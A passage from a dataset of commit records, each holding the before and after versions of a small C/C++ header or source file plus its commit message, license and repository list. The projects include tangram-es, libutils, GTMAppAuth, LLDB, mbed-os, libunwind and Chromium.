ius,dblock/rubinius,mlarraz/rubinius,jsyeo/rubinius,Azizou/rubinius,ruipserra/rubinius,chad/rubinius,lgierth/rubinius,slawosz/rubinius,sferik/rubinius,mlarraz/rubinius,ngpestelos/rubinius,travis-repos/rubinius,ruipserra/rubinius,Azizou/rubinius,Azizou/rubinius,benlovell/rubinius,digitalextremist/rubinius,ngpestelos/rubinius,sferik/rubinius,ruipserra/rubinius,travis-repos/rubinius,ruipserra/rubinius,Azizou/rubinius,heftig/rubinius,slawosz/rubinius,mlarraz/rubinius,travis-repos/rubinius,heftig/rubinius,kachick/rubinius,digitalextremist/rubinius,jsyeo/rubinius,dblock/rubinius,ngpestelos/rubinius,pH14/rubinius,jsyeo/rubinius,chad/rubinius,pH14/rubinius,Wirachmat/rubinius
74de5774f6ac0458a72e7dac54df6b014a05490a
core/src/platform.h
core/src/platform.h
#pragma once #ifdef PLATFORM_ANDROID struct _JNIEnv; typedef _JNIEnv JNIEnv; class _jobject; typedef _jobject* jobject; void jniInit(JNIEnv* _jniEnv, jobject obj, jobject _assetManager); #endif #if (defined PLATFORM_IOS) && (defined __OBJC__) #import "ViewController.h" void setViewController(ViewController* _controller); #endif #include <string> /* Print a formatted message to the console * * Uses printf syntax to write a string to stderr (or logcat, on Android) */ void logMsg(const char* fmt, ...); /* Request that a new frame be rendered by the windowing system */ void requestRender(); /* Read a bundled resource file as a string * * Opens the file at the given relative path and returns a string with its contents. * _path is the location of the file within the core/resources folder. If the file * cannot be found or read, the returned string is empty. */ std::string stringFromResource(const char* _path); /* Read and allocates size bytes of memory * * Similarly to stringFromResource, _path is the location of file within * core/resources. If the file cannot be read nothing is allocated and * a nullptr is returned. * _size is is an in/out parameter to retrieve the size in bytes of the * allocated file */ unsigned char* bytesFromResource(const char* _path, unsigned int* _size);
#pragma once #ifdef PLATFORM_ANDROID struct _JNIEnv; typedef _JNIEnv JNIEnv; class _jobject; typedef _jobject* jobject; void jniInit(JNIEnv* _jniEnv, jobject obj, jobject _assetManager); #endif #if (defined PLATFORM_IOS) && (defined __OBJC__) #import "ViewController.h" void setViewController(ViewController* _controller); #endif #include <string> /* Print a formatted message to the console * * Uses printf syntax to write a string to stderr (or logcat, on Android) */ void logMsg(const char* fmt, ...); /* Request that a new frame be rendered by the windowing system */ void requestRender(); /* If called with 'true', the windowing system will re-draw frames continuously; * otherwise new frames will only be drawn when 'requestRender' is called. */ void setContinuousRendering(bool _isContinuous); bool isContinuousRendering(); /* Read a bundled resource file as a string * * Opens the file at the given relative path and returns a string with its contents. * _path is the location of the file within the core/resources folder. If the file * cannot be found or read, the returned string is empty. */ std::string stringFromResource(const char* _path); /* Read and allocates size bytes of memory * * Similarly to stringFromResource, _path is the location of file within * core/resources. If the file cannot be read nothing is allocated and * a nullptr is returned. * _size is is an in/out parameter to retrieve the size in bytes of the * allocated file */ unsigned char* bytesFromResource(const char* _path, unsigned int* _size);
Add headers for setting and getting continuous rendering state
Add headers for setting and getting continuous rendering state
C
mit
tangrams/tangram-es,xvilan/tangram-es,cleeus/tangram-es,cleeus/tangram-es,hjanetzek/tangram-es,karimnaaji/tangram-es,hjanetzek/tangram-es,xvilan/tangram-es,tangrams/tangram-es,tangrams/tangram-es,quitejonny/tangram-es,quitejonny/tangram-es,quitejonny/tangram-es,quitejonny/tangram-es,tangrams/tangram-es,karimnaaji/tangram-es,cleeus/tangram-es,karimnaaji/tangram-es,quitejonny/tangram-es,tangrams/tangram-es,xvilan/tangram-es,quitejonny/tangram-es,cleeus/tangram-es,karimnaaji/tangram-es,xvilan/tangram-es,hjanetzek/tangram-es,cleeus/tangram-es,tangrams/tangram-es,hjanetzek/tangram-es,cleeus/tangram-es,tangrams/tangram-es
e86ec93def569ec100bcbca7e9f1952e64a0851d
inc/libutils/io/system_log.h
inc/libutils/io/system_log.h
/* * system_log.h * * Author: Ming Tsang * Copyright (c) 2014 Ming Tsang * Refer to LICENSE for details */ #pragma once #include "libutils/io/logger.h" #include "libutils/misc/singleton.h" namespace libutils { namespace io { /** * The default system logger */ template<typename CharT> class SystemLog : public misc::Singleton<Logger<CharT>, SystemLog<CharT>> {}; } }
/* * system_log.h * * Author: Ming Tsang * Copyright (c) 2014 Ming Tsang * Refer to LICENSE for details */ #pragma once #include "libutils/misc/singleton.h" namespace libutils { namespace io { template<typename T> class Logger; } } namespace libutils { namespace io { /** * The default system logger */ template<typename CharT> class SystemLog : public misc::Singleton<Logger<CharT>, SystemLog<CharT>> {}; } } #include "libutils/io/logger.h"
Include logger.h later to prevent using SystemLog before definition
Include logger.h later to prevent using SystemLog before definition
C
mit
nkming2/libutils,nkming2/libutils,nkming2/libutils,nkming2/libutils,nkming2/libutils,nkming2/libutils
768df6b3adad4557b81749e18c06c56c0a0c53fb
GTMAppAuth/Sources/Public/GTMAppAuth/GTMAppAuth.h
GTMAppAuth/Sources/Public/GTMAppAuth/GTMAppAuth.h
/*! @file GTMAppAuth.h @brief GTMAppAuth SDK @copyright Copyright 2016 Google Inc. @copydetails Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #import "GTMAppAuthFetcherAuthorization.h" #import "GTMAppAuthFetcherAuthorization+Keychain.h" #if TARGET_OS_TV #elif TARGET_OS_WATCH #elif TARGET_OS_IOS #import "GTMOAuth2KeychainCompatibility.h" #elif TARGET_OS_MAC #import "GTMOAuth2KeychainCompatibility.h" #else #warn "Platform Undefined" #endif
/*! @file GTMAppAuth.h @brief GTMAppAuth SDK @copyright Copyright 2016 Google Inc. @copydetails Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #import "GTMAppAuthFetcherAuthorization.h" #import "GTMAppAuthFetcherAuthorization+Keychain.h" #import "GTMKeychain.h" #if TARGET_OS_TV #elif TARGET_OS_WATCH #elif TARGET_OS_IOS #import "GTMOAuth2KeychainCompatibility.h" #elif TARGET_OS_MAC #import "GTMOAuth2KeychainCompatibility.h" #else #warn "Platform Undefined" #endif
Add GTMKeychain.h to umbrella header
Add GTMKeychain.h to umbrella header This is required for Xcode 12.5 and Swift Package Manager. Verified locally that this fix resolves the issue.
C
apache-2.0
google/GTMAppAuth,google/GTMAppAuth
d11d5a161003ccb024927fff5c620eb7515716fc
source/Plugins/Process/Windows/Common/NativeRegisterContextWindows.h
source/Plugins/Process/Windows/Common/NativeRegisterContextWindows.h
//===-- NativeRegisterContextWindows.h --------------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #ifndef liblldb_NativeRegisterContextWindows_h_ #define liblldb_NativeRegisterContextWindows_h_ #include "Plugins/Process/Utility/NativeRegisterContextRegisterInfo.h" #include "lldb/Host/common/NativeThreadProtocol.h" #include "lldb/Utility/DataBufferHeap.h" namespace lldb_private { class NativeThreadWindows; class NativeRegisterContextWindows : public NativeRegisterContextRegisterInfo { public: NativeRegisterContextWindows::NativeRegisterContextWindows( NativeThreadProtocol &native_thread, RegisterInfoInterface *reg_info_interface_p); static std::unique_ptr<NativeRegisterContextWindows> CreateHostNativeRegisterContextWindows(const ArchSpec &target_arch, NativeThreadProtocol &native_thread); protected: lldb::thread_t GetThreadHandle() const; }; } // namespace lldb_private #endif // liblldb_NativeRegisterContextWindows_h_
//===-- NativeRegisterContextWindows.h --------------------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #ifndef liblldb_NativeRegisterContextWindows_h_ #define liblldb_NativeRegisterContextWindows_h_ #include "Plugins/Process/Utility/NativeRegisterContextRegisterInfo.h" #include "lldb/Host/common/NativeThreadProtocol.h" #include "lldb/Utility/DataBufferHeap.h" namespace lldb_private { class NativeThreadWindows; class NativeRegisterContextWindows : public NativeRegisterContextRegisterInfo { public: NativeRegisterContextWindows( NativeThreadProtocol &native_thread, RegisterInfoInterface *reg_info_interface_p); static std::unique_ptr<NativeRegisterContextWindows> CreateHostNativeRegisterContextWindows(const ArchSpec &target_arch, NativeThreadProtocol &native_thread); protected: lldb::thread_t GetThreadHandle() const; }; } // namespace lldb_private #endif // liblldb_NativeRegisterContextWindows_h_
Fix compilation for MinGW, remove redundant class name on inline member
[LLDB] Fix compilation for MinGW, remove redundant class name on inline member This fixes build errors like these: NativeRegisterContextWindows.h:22:33: error: extra qualification on member 'NativeRegisterContextWindows' NativeRegisterContextWindows::NativeRegisterContextWindows( ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^ Differential Revision: https://reviews.llvm.org/D67856 git-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@372482 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/lldb,llvm-mirror/lldb,llvm-mirror/lldb,llvm-mirror/lldb,llvm-mirror/lldb
8c1f6397bf58de0676cd2ef0a59d2cd0debd3c60
lib/src/models/post-filter.h
lib/src/models/post-filter.h
#ifndef POST_FILTER_H #define POST_FILTER_H #include <QString> #include <QStringList> #include <QMap> #include "loader/token.h" class PostFilter { public: static QStringList filter(const QMap<QString, Token> &tokens, const QStringList &filters); static QStringList blacklisted(const QMap<QString, Token> &tokens, const QStringList &blacklistedTags, bool invert = true); protected: static QString match(const QMap<QString, Token> &tokens, QString filter, bool invert = false); }; #endif // POST_FILTER_H
#ifndef POST_FILTER_H #define POST_FILTER_H #include <QString> #include <QStringList> #include <QMap> #include "loader/token.h" class PostFilter { public: static QStringList filter(const QMap<QString, Token> &tokens, const QStringList &filters); static QStringList blacklisted(const QMap<QString, Token> &tokens, const QStringList &blacklistedTags, bool invert = true); static QString match(const QMap<QString, Token> &tokens, QString filter, bool invert = false); }; #endif // POST_FILTER_H
Fix tests broken by new PostFilter class
Fix tests broken by new PostFilter class
C
apache-2.0
Bionus/imgbrd-grabber,Bionus/imgbrd-grabber,Bionus/imgbrd-grabber,Bionus/imgbrd-grabber,Bionus/imgbrd-grabber,Bionus/imgbrd-grabber
83c438405367324e00e15d39f7ee82e2f467f2f6
config.def.h
config.def.h
/* See LICENSE file for copyright and license details. */ /* Notification, remove DNOTIFY in config.mk if you don't want it */ static char *notifycmd = ""; /* Uses given command if not compiled by DNOTIFY */ static char *notifyext = ""; /* Notify with extra command (eg. play an alarm) */ /* * This is the array which defines all the timer that will be used. * It will be repeated after all of it is executed. */ static Timers timers[] = { /* timer(s) comment */ { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 900, "Time to take some nap!"}, };
/* See LICENSE file for copyright and license details. */ /* Notification, remove DNOTIFY in config.mk if you don't want it */ static char *notifycmd = ""; /* Uses given command if not compiled by DNOTIFY */ static char *notifyext = ""; /* Notify with extra command (eg. play an alarm) */ /* * This is the array which defines all the timer that will be used. * It will be repeated after all of it is executed. */ static Timers timers[] = { /* timer(s) comment */ { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 1500, "Time to start working!"}, { 300, "Time to start resting!"}, { 900, "Time to take a nap!" }, };
Make a small grammar fix
Make a small grammar fix
C
isc
pickfire/spt,pickfire/spt
a7634a1e5a46e1cbcef577a2cb850cdf00ad63bc
features/frameworks/nanostack-libservice/mbed-client-libservice/ns_trace.h
features/frameworks/nanostack-libservice/mbed-client-libservice/ns_trace.h
/* * Copyright (c) 2015-2017 ARM Limited. All rights reserved. * SPDX-License-Identifier: Apache-2.0 * Licensed under the Apache License, Version 2.0 (the License); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an AS IS BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * \file ns_trace.h * Trace interface abstraction for NanoStack library as well as application. * * Actual used trace library is mbed-trace. For usage details check mbed_trace.h. * */ #ifndef NS_TRACE_H_ #define NS_TRACE_H_ #if defined(HAVE_DEBUG) && !defined(FEA_TRACE_SUPPORT) #define FEA_TRACE_SUPPORT #endif #include "mbed-trace/mbed_trace.h" #endif /* NS_TRACE_H_ */
/* * Copyright (c) 2015-2017 ARM Limited. All rights reserved. * SPDX-License-Identifier: Apache-2.0 * Licensed under the Apache License, Version 2.0 (the License); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an AS IS BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * \file ns_trace.h * Trace interface abstraction for NanoStack library as well as application. * * Actual used trace library is mbed-trace. For usage details check mbed_trace.h. * */ #ifndef NS_TRACE_H_ #define NS_TRACE_H_ #if defined(HAVE_DEBUG) && !defined(FEA_TRACE_SUPPORT) #define FEA_TRACE_SUPPORT #endif #include "ns_types.h" #include "mbed-trace/mbed_trace.h" #endif /* NS_TRACE_H_ */
Include ns_types.h before mbed_trace.h in Nanomesh
Include ns_types.h before mbed_trace.h in Nanomesh
C
apache-2.0
andcor02/mbed-os,andcor02/mbed-os,kjbracey-arm/mbed,mbedmicro/mbed,andcor02/mbed-os,mbedmicro/mbed,mbedmicro/mbed,andcor02/mbed-os,mbedmicro/mbed,mbedmicro/mbed,andcor02/mbed-os,andcor02/mbed-os,kjbracey-arm/mbed,kjbracey-arm/mbed,kjbracey-arm/mbed
63a539999d8b712c5f975d400c33be20944bde23
src/x86/Gregs-x86.c
src/x86/Gregs-x86.c
/* libunwind - a platform-independent unwind library Copyright (C) 2002 Hewlett-Packard Co Contributed by David Mosberger-Tang <[email protected]> This file is part of libunwind. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "unwind_i.h" HIDDEN int x86_access_reg (struct cursor *c, unw_regnum_t reg, unw_word_t *valp, int write) { struct x86_loc loc = X86_LOC (0, 0); switch (reg) { case UNW_X86_EIP: if (write) c->eip = *valp; /* also update the EIP cache */ loc = c->eip_loc; break; case UNW_X86_ESP: if (write) return -UNW_EREADONLYREG; *valp = c->esp; return 0; default: debug (1, "%s: bad register number %u\n", __FUNCTION__, reg); return -UNW_EBADREG; } if (write) return x86_put (c, loc, *valp); else return x86_get (c, loc, valp); }
Add a debug statement so accesses to bad register numbers can be seen with debugging enabled.
(x86_access_reg): Add a debug statement so accesses to bad register numbers can be seen with debugging enabled. (Logical change 1.81)
C
mit
zliu2014/libunwind-tilegx,bo-on-software/libunwind,pathscale/libunwind,atanasyan/libunwind,adsharma/libunwind,fdoray/libunwind,djwatson/libunwind,atanasyan/libunwind,androidarmv6/android_external_libunwind,frida/libunwind,dreal-deps/libunwind,android-ia/platform_external_libunwind,CyanogenMod/android_external_libunwind,geekboxzone/lollipop_external_libunwind,fillexen/libunwind,cloudius-systems/libunwind,project-zerus/libunwind,tronical/libunwind,maltek/platform_external_libunwind,SyndicateRogue/libunwind,rogwfu/libunwind,cloudius-systems/libunwind,jrmuizel/libunwind,pathscale/libunwind,dagar/libunwind,vegard/libunwind,martyone/libunwind,krytarowski/libunwind,wdv4758h/libunwind,igprof/libunwind,pathscale/libunwind,tronical/libunwind,project-zerus/libunwind,maltek/platform_external_libunwind,bo-on-software/libunwind,rntz/libunwind,ehsan/libunwind,lat/libunwind,rantala/libunwind,Keno/libunwind,cms-externals/libunwind,evaautomation/libunwind,jrmuizel/libunwind,geekboxzone/lollipop_external_libunwind,mpercy/libunwind,tony/libunwind,androidarmv6/android_external_libunwind,vtjnash/libunwind,krytarowski/libunwind,tkelman/libunwind,vtjnash/libunwind,mpercy/libunwind,Keno/libunwind,cms-externals/libunwind,atanasyan/libunwind-android,dreal-deps/libunwind,bo-on-software/libunwind,mpercy/libunwind,zliu2014/libunwind-tilegx,olibc/libunwind,fillexen/libunwind,evaautomation/libunwind,geekboxzone/mmallow_external_libunwind,fdoray/libunwind,jrmuizel/libunwind,rantala/libunwind,adsharma/libunwind,geekboxzone/mmallow_external_libunwind,martyone/libunwind,vtjnash/libunwind,ehsan/libunwind,frida/libunwind,fdoray/libunwind,tronical/libunwind,dropbox/libunwind,zeldin/platform_external_libunwind,project-zerus/libunwind,0xlab/0xdroid-external_libunwind,rantala/libunwind,yuyichao/libunwind,libunwind/libunwind,Chilledheart/libunwind,android-ia/platform_external_libunwind,libunwind/libunwind,Chilledheart/libunwind,dropbox/libunwind,tony/libunwind,wdv4758h/libunwind,DroidSim/platform_external_libunwind,atanasyan/libunwind-android,unkadoug/libunwind,androidarmv6/android_external_libunwind,DroidSim/platform_external_libunwind,joyent/libunwind,olibc/libunwind,dreal-deps/libunwind,libunwind/libunwind,atanasyan/libunwind-android,Keno/libunwind,DroidSim/platform_external_libunwind,zeldin/platform_external_libunwind,tkelman/libunwind,0xlab/0xdroid-external_libunwind,lat/libunwind,evaautomation/libunwind,zliu2014/libunwind-tilegx,igprof/libunwind,ehsan/libunwind,joyent/libunwind,dagar/libunwind,adsharma/libunwind,frida/libunwind,djwatson/libunwind,android-ia/platform_external_libunwind,unkadoug/libunwind,cloudius-systems/libunwind,dropbox/libunwind,Chilledheart/libunwind,yuyichao/libunwind,zeldin/platform_external_libunwind,tony/libunwind,0xlab/0xdroid-external_libunwind,wdv4758h/libunwind,maltek/platform_external_libunwind,cms-externals/libunwind,olibc/libunwind,geekboxzone/mmallow_external_libunwind,unkadoug/libunwind,CyanogenMod/android_external_libunwind,atanasyan/libunwind,lat/libunwind,geekboxzone/lollipop_external_libunwind,SyndicateRogue/libunwind,yuyichao/libunwind,igprof/libunwind,martyone/libunwind,djwatson/libunwind,joyent/libunwind,CyanogenMod/android_external_libunwind,krytarowski/libunwind,dagar/libunwind,tkelman/libunwind,rntz/libunwind,rogwfu/libunwind,fillexen/libunwind,rogwfu/libunwind,SyndicateRogue/libunwind,vegard/libunwind,rntz/libunwind,vegard/libunwind
49d8436a2b84d7bd90fc76c17b723ad5c89772a7
net/flip/flip_bitmasks.h
net/flip/flip_bitmasks.h
// Copyright (c) 2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef NET_FLIP_FLIP_BITMASKS_H_ #define NET_FLIP_FLIP_BITMASKS_H_ namespace flip { const int kStreamIdMask = 0x7fffffff; // StreamId mask from the FlipHeader const int kControlFlagMask = 0x8000; // Control flag mask from the FlipHeader const int kPriorityMask = 0xc0; // Priority mask from the SYN_FRAME const int kLengthMask = 0xffffff; // Mask the lower 24 bits. } // flip #endif // NET_FLIP_FLIP_BITMASKS_H_
// Copyright (c) 2009 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef NET_FLIP_FLIP_BITMASKS_H_ #define NET_FLIP_FLIP_BITMASKS_H_ namespace flip { const unsigned int kStreamIdMask = 0x7fffffff; // StreamId mask from the FlipHeader const unsigned int kControlFlagMask = 0x8000; // Control flag mask from the FlipHeader const unsigned int kPriorityMask = 0xc0; // Priority mask from the SYN_FRAME const unsigned int kLengthMask = 0xffffff; // Mask the lower 24 bits. } // flip #endif // NET_FLIP_FLIP_BITMASKS_H_
Fix signed vs unsigned issue
linux: Fix signed vs unsigned issue Review URL: http://codereview.chromium.org/297015 git-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@30099 0039d316-1c4b-4281-b951-d872f2087c98
C
bsd-3-clause
krieger-od/nwjs_chromium.src,pozdnyakov/chromium-crosswalk,fujunwei/chromium-crosswalk,M4sse/chromium.src,zcbenz/cefode-chromium,dednal/chromium.src,zcbenz/cefode-chromium,chuan9/chromium-crosswalk,dednal/chromium.src,Just-D/chromium-1,timopulkkinen/BubbleFish,pozdnyakov/chromium-crosswalk,anirudhSK/chromium,fujunwei/chromium-crosswalk,markYoungH/chromium.src,rogerwang/chromium,zcbenz/cefode-chromium,ltilve/chromium,hgl888/chromium-crosswalk,dednal/chromium.src,mogoweb/chromium-crosswalk,PeterWangIntel/chromium-crosswalk,Jonekee/chromium.src,ltilve/chromium,nacl-webkit/chrome_deps,hgl888/chromium-crosswalk,nacl-webkit/chrome_deps,hgl888/chromium-crosswalk,chuan9/chromium-crosswalk,mogoweb/chromium-crosswalk,bright-sparks/chromium-spacewalk,mogoweb/chromium-crosswalk,krieger-od/nwjs_chromium.src,hgl888/chromium-crosswalk,mohamed--abdel-maksoud/chromium.src,ltilve/chromium,junmin-zhu/chromium-rivertrail,hujiajie/pa-chromium,rogerwang/chromium,dushu1203/chromium.src,Pluto-tv/chromium-crosswalk,anirudhSK/chromium,keishi/chromium,zcbenz/cefode-chromium,bright-sparks/chromium-spacewalk,hgl888/chromium-crosswalk-efl,fujunwei/chromium-crosswalk,M4sse/chromium.src,hujiajie/pa-chromium,keishi/chromium,hgl888/chromium-crosswalk,patrickm/chromium.src,Fireblend/chromium-crosswalk,axinging/chromium-crosswalk,axinging/chromium-crosswalk,hujiajie/pa-chromium,markYoungH/chromium.src,mogoweb/chromium-crosswalk,rogerwang/chromium,zcbenz/cefode-chromium,crosswalk-project/chromium-crosswalk-efl,Pluto-tv/chromium-crosswalk,ChromiumWebApps/chromium,nacl-webkit/chrome_deps,pozdnyakov/chromium-crosswalk,ChromiumWebApps/chromium,markYoungH/chromium.src,M4sse/chromium.src,krieger-od/nwjs_chromium.src,dushu1203/chromium.src,patrickm/chromium.src,ondra-novak/chromium.src,Pluto-tv/chromium-crosswalk,TheTypoMaster/chromium-crosswalk,chuan9/chromium-crosswalk,Just-D/chromium-1,TheTypoMaster/chromium-crosswalk,nacl-webkit/chrome_deps,Pluto-tv/chromium-crosswalk,anirudhSK/chromium,keishi/chromium,junmin-zhu/chromium-rivertrail,rogerwang/chromium,nacl-webkit/chrome_deps,timopulkkinen/BubbleFish,crosswalk-project/chromium-crosswalk-efl,hujiajie/pa-chromium,chuan9/chromium-crosswalk,junmin-zhu/chromium-rivertrail,Chilledheart/chromium,Just-D/chromium-1,anirudhSK/chromium,robclark/chromium,nacl-webkit/chrome_deps,Jonekee/chromium.src,M4sse/chromium.src,junmin-zhu/chromium-rivertrail,junmin-zhu/chromium-rivertrail,timopulkkinen/BubbleFish,timopulkkinen/BubbleFish,ChromiumWebApps/chromium,markYoungH/chromium.src,krieger-od/nwjs_chromium.src,hgl888/chromium-crosswalk-efl,M4sse/chromium.src,axinging/chromium-crosswalk,littlstar/chromium.src,pozdnyakov/chromium-crosswalk,Jonekee/chromium.src,ltilve/chromium,krieger-od/nwjs_chromium.src,patrickm/chromium.src,robclark/chromium,zcbenz/cefode-chromium,hgl888/chromium-crosswalk-efl,mogoweb/chromium-crosswalk,fujunwei/chromium-crosswalk,axinging/chromium-crosswalk,robclark/chromium,mohamed--abdel-maksoud/chromium.src,hgl888/chromium-crosswalk,ChromiumWebApps/chromium,Pluto-tv/chromium-crosswalk,hujiajie/pa-chromium,rogerwang/chromium,M4sse/chromium.src,markYoungH/chromium.src,hgl888/chromium-crosswalk,M4sse/chromium.src,ltilve/chromium,rogerwang/chromium,robclark/chromium,crosswalk-project/chromium-crosswalk-efl,hgl888/chromium-crosswalk-efl,TheTypoMaster/chromium-crosswalk,Just-D/chromium-1,patrickm/chromium.src,rogerwang/chromium,TheTypoMaster/chromium-crosswalk,mohamed--abdel-maksoud/chromium.src,hgl888/chromium-crosswalk-efl,patrickm/chromium.src,Just-D/chromium-1,krieger-od/nwjs_chromium.src,dushu1203/chromium.src,pozdnyakov/chromium-crosswalk,jaruba/chromium.src,PeterWangIntel/chromium-crosswalk,markYoungH/chromium.src,pozdnyakov/chromium-crosswalk,jaruba/chromium.src,Jonekee/chromium.src,nacl-webkit/chrome_deps,crosswalk-project/chromium-crosswalk-efl,dednal/chromium.src,axinging/chromium-crosswalk,crosswalk-project/chromium-crosswalk-efl,mohamed--abdel-maksoud/chromium.src,markYoungH/chromium.src,jaruba/chromium.src,littlstar/chromium.src,PeterWangIntel/chromium-crosswalk,hgl888/chromium-crosswalk-efl,crosswalk-project/chromium-crosswalk-efl,zcbenz/cefode-chromium,mohamed--abdel-maksoud/chromium.src,robclark/chromium,Fireblend/chromium-crosswalk,Jonekee/chromium.src,keishi/chromium,axinging/chromium-crosswalk,ondra-novak/chromium.src,PeterWangIntel/chromium-crosswalk,jaruba/chromium.src,dednal/chromium.src,krieger-od/nwjs_chromium.src,TheTypoMaster/chromium-crosswalk,Jonekee/chromium.src,dednal/chromium.src,fujunwei/chromium-crosswalk,krieger-od/nwjs_chromium.src,ondra-novak/chromium.src,hgl888/chromium-crosswalk-efl,Just-D/chromium-1,anirudhSK/chromium,krieger-od/nwjs_chromium.src,timopulkkinen/BubbleFish,hujiajie/pa-chromium,keishi/chromium,littlstar/chromium.src,hujiajie/pa-chromium,Chilledheart/chromium,axinging/chromium-crosswalk,anirudhSK/chromium,crosswalk-project/chromium-crosswalk-efl,anirudhSK/chromium,axinging/chromium-crosswalk,hujiajie/pa-chromium,ChromiumWebApps/chromium,bright-sparks/chromium-spacewalk,patrickm/chromium.src,markYoungH/chromium.src,anirudhSK/chromium,markYoungH/chromium.src,hujiajie/pa-chromium,jaruba/chromium.src,dednal/chromium.src,mohamed--abdel-maksoud/chromium.src,mohamed--abdel-maksoud/chromium.src,ChromiumWebApps/chromium,ltilve/chromium,TheTypoMaster/chromium-crosswalk,jaruba/chromium.src,Chilledheart/chromium,patrickm/chromium.src,pozdnyakov/chromium-crosswalk,junmin-zhu/chromium-rivertrail,TheTypoMaster/chromium-crosswalk,ltilve/chromium,junmin-zhu/chromium-rivertrail,timopulkkinen/BubbleFish,ondra-novak/chromium.src,chuan9/chromium-crosswalk,hujiajie/pa-chromium,patrickm/chromium.src,Chilledheart/chromium,zcbenz/cefode-chromium,Jonekee/chromium.src,mogoweb/chromium-crosswalk,fujunwei/chromium-crosswalk,robclark/chromium,TheTypoMaster/chromium-crosswalk,nacl-webkit/chrome_deps,pozdnyakov/chromium-crosswalk,dednal/chromium.src,mogoweb/chromium-crosswalk,zcbenz/cefode-chromium,nacl-webkit/chrome_deps,Fireblend/chromium-crosswalk,Just-D/chromium-1,mohamed--abdel-maksoud/chromium.src,Just-D/chromium-1,Jonekee/chromium.src,junmin-zhu/chromium-rivertrail,Pluto-tv/chromium-crosswalk,Jonekee/chromium.src,Chilledheart/chromium,ChromiumWebApps/chromium,bright-sparks/chromium-spacewalk,axinging/chromium-crosswalk,PeterWangIntel/chromium-crosswalk,ChromiumWebApps/chromium,jaruba/chromium.src,bright-sparks/chromium-spacewalk,Jonekee/chromium.src,littlstar/chromium.src,jaruba/chromium.src,hgl888/chromium-crosswalk-efl,mohamed--abdel-maksoud/chromium.src,hgl888/chromium-crosswalk-efl,mogoweb/chromium-crosswalk,timopulkkinen/BubbleFish,axinging/chromium-crosswalk,fujunwei/chromium-crosswalk,bright-sparks/chromium-spacewalk,ltilve/chromium,krieger-od/nwjs_chromium.src,ChromiumWebApps/chromium,Fireblend/chromium-crosswalk,Chilledheart/chromium,ondra-novak/chromium.src,rogerwang/chromium,bright-sparks/chromium-spacewalk,junmin-zhu/chromium-rivertrail,hgl888/chromium-crosswalk,krieger-od/nwjs_chromium.src,rogerwang/chromium,timopulkkinen/BubbleFish,hujiajie/pa-chromium,Fireblend/chromium-crosswalk,junmin-zhu/chromium-rivertrail,crosswalk-project/chromium-crosswalk-efl,ondra-novak/chromium.src,markYoungH/chromium.src,littlstar/chromium.src,M4sse/chromium.src,dednal/chromium.src,M4sse/chromium.src,Fireblend/chromium-crosswalk,PeterWangIntel/chromium-crosswalk,jaruba/chromium.src,dushu1203/chromium.src,jaruba/chromium.src,Fireblend/chromium-crosswalk,M4sse/chromium.src,anirudhSK/chromium,chuan9/chromium-crosswalk,Pluto-tv/chromium-crosswalk,zcbenz/cefode-chromium,littlstar/chromium.src,ondra-novak/chromium.src,jaruba/chromium.src,PeterWangIntel/chromium-crosswalk,ondra-n